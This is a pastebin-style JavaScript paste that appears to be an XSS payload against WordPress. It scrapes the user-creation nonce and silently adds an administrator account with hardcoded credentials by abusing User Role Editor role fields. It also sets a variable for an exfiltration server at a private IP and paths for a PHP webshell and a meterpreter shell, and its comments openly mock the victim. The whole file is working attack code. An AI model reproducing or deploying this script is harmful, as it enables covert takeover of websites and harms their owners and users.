Facebook
From a, 1 Year ago, written in JavaScript.
Embed
Download Paste or View Raw
Hits: 73
  1.  
  2. // Web server listening for exfil data
  3. // This will be as base64 data with a .js added, trying to
  4. // include a non-exist remote javascript file so you
  5. // get the base64 data in the 404 log
  6. var httpExfilServer = "http://192.168.78.135:8888";
  7.  
  8.  
  9. // This will hold the webshell locations
  10. // Note that different wordpress servers
  11. // will save these in different locations,
  12. // we don't control the directory name.
  13. // The add plugin function will parse out
  14. // the correct directory name and update
  15. // these variables as necessary.
  16. var webShellPath    = "shell/shell.php";
  17. var phpMetShellPath = "shell/meterpreter.php";
  18.  
  19.  
  20.  
  21. const sleep = (milliseconds) =>
  22. {
  23.         return new Promise(resolve => setTimeout(resolve, milliseconds))
  24. }
  25.  
  26.  
  27.  
  28. function read_body(xhr)
  29. {
  30.         var data;
  31.  
  32.         if (!xhr.responseType || xhr.responseType === "text")
  33.         {
  34.                 data = xhr.responseText;
  35.         }
  36.         else if (xhr.responseType === "document")
  37.         {
  38.                 data = xhr.responseXML;
  39.         }
  40.         else if (xhr.responseType === "json")
  41.         {
  42.                 data = xhr.responseJSON;
  43.         }
  44.         else
  45.         {
  46.                 data = xhr.response;
  47.         }
  48.         return data;
  49. }
  50.  
  51.  
  52.  
  53.  
  54.  
  55. function addAdminUser()
  56. {
  57.         var uri = "/wp-admin/user-new.php";
  58.  
  59.         // The following user will be added as an Administrator level user
  60.         var username  = "novouser";
  61.         var email     = "[email protected]"
  62.         var firstName = "trevor";
  63.         var lastName  = "roach";
  64.         var password  = "PasswordStrongEnought";
  65.  
  66.  
  67.  
  68.         xhr = new XMLHttpRequest();
  69.  
  70.         xhr.open("GET", uri, true);
  71.         xhr.send(null);
  72.  
  73.  
  74.         xhr.onreadystatechange = function()
  75.         {
  76.                 if (xhr.readyState == XMLHttpRequest.DONE)
  77.                 {
  78.                         var response = read_body(xhr);
  79.                         var noncePos = response.indexOf('name="_wpnonce_create-user" value="');
  80.                         var nonceVal = response.substring(noncePos+35, noncePos+45);
  81.  
  82.                         xhr = new XMLHttpRequest();
  83.                         xhr.open("POST", uri);
  84.  
  85.                         xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  86.                         xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  87.  
  88.                         var body = "action=createuser&"
  89.                         body += "_wpnonce_create-user=" + nonceVal + "&";
  90.                         body += "_wp_http_referer=%2Fwp-admin%2Fuser-new.php&"
  91.                         body += "user_login=" + username + "&";
  92.                         body += "email=" + email + "&";
  93.                         body += "first_name=" + firstName + "&";
  94.                         body += "last_name=" + lastName + "&";
  95.                         body += "uri=&";
  96.                         body += "pass1=" + password + "&";
  97.                         body += "pass1-text=" + password + "&";
  98.                         body += "pass2=" + password + "&";
  99.                         body += "pw_weak=on&";
  100.                         body += "send_user_notification=0&";
  101.                         body += "role=subscriber&";
  102.                         body += "ure_select_other_roles=administrator&"; // muahahahaha
  103.                         body += "ure_other_roles=administrator&"; // insert Dr. Evil second muahahahaha
  104.                         body += "createuser=Add+New+User";
  105.  
  106.                         xhr.send(body);
  107.             console.log("test inner")
  108.                 }
  109.         console.log("text outer")
  110.         }
  111.  
  112.     console.log("LOADED");
  113.     alert("loaded");
  114. }
  115.  
  116.  
  117. addAdminUser();
  118.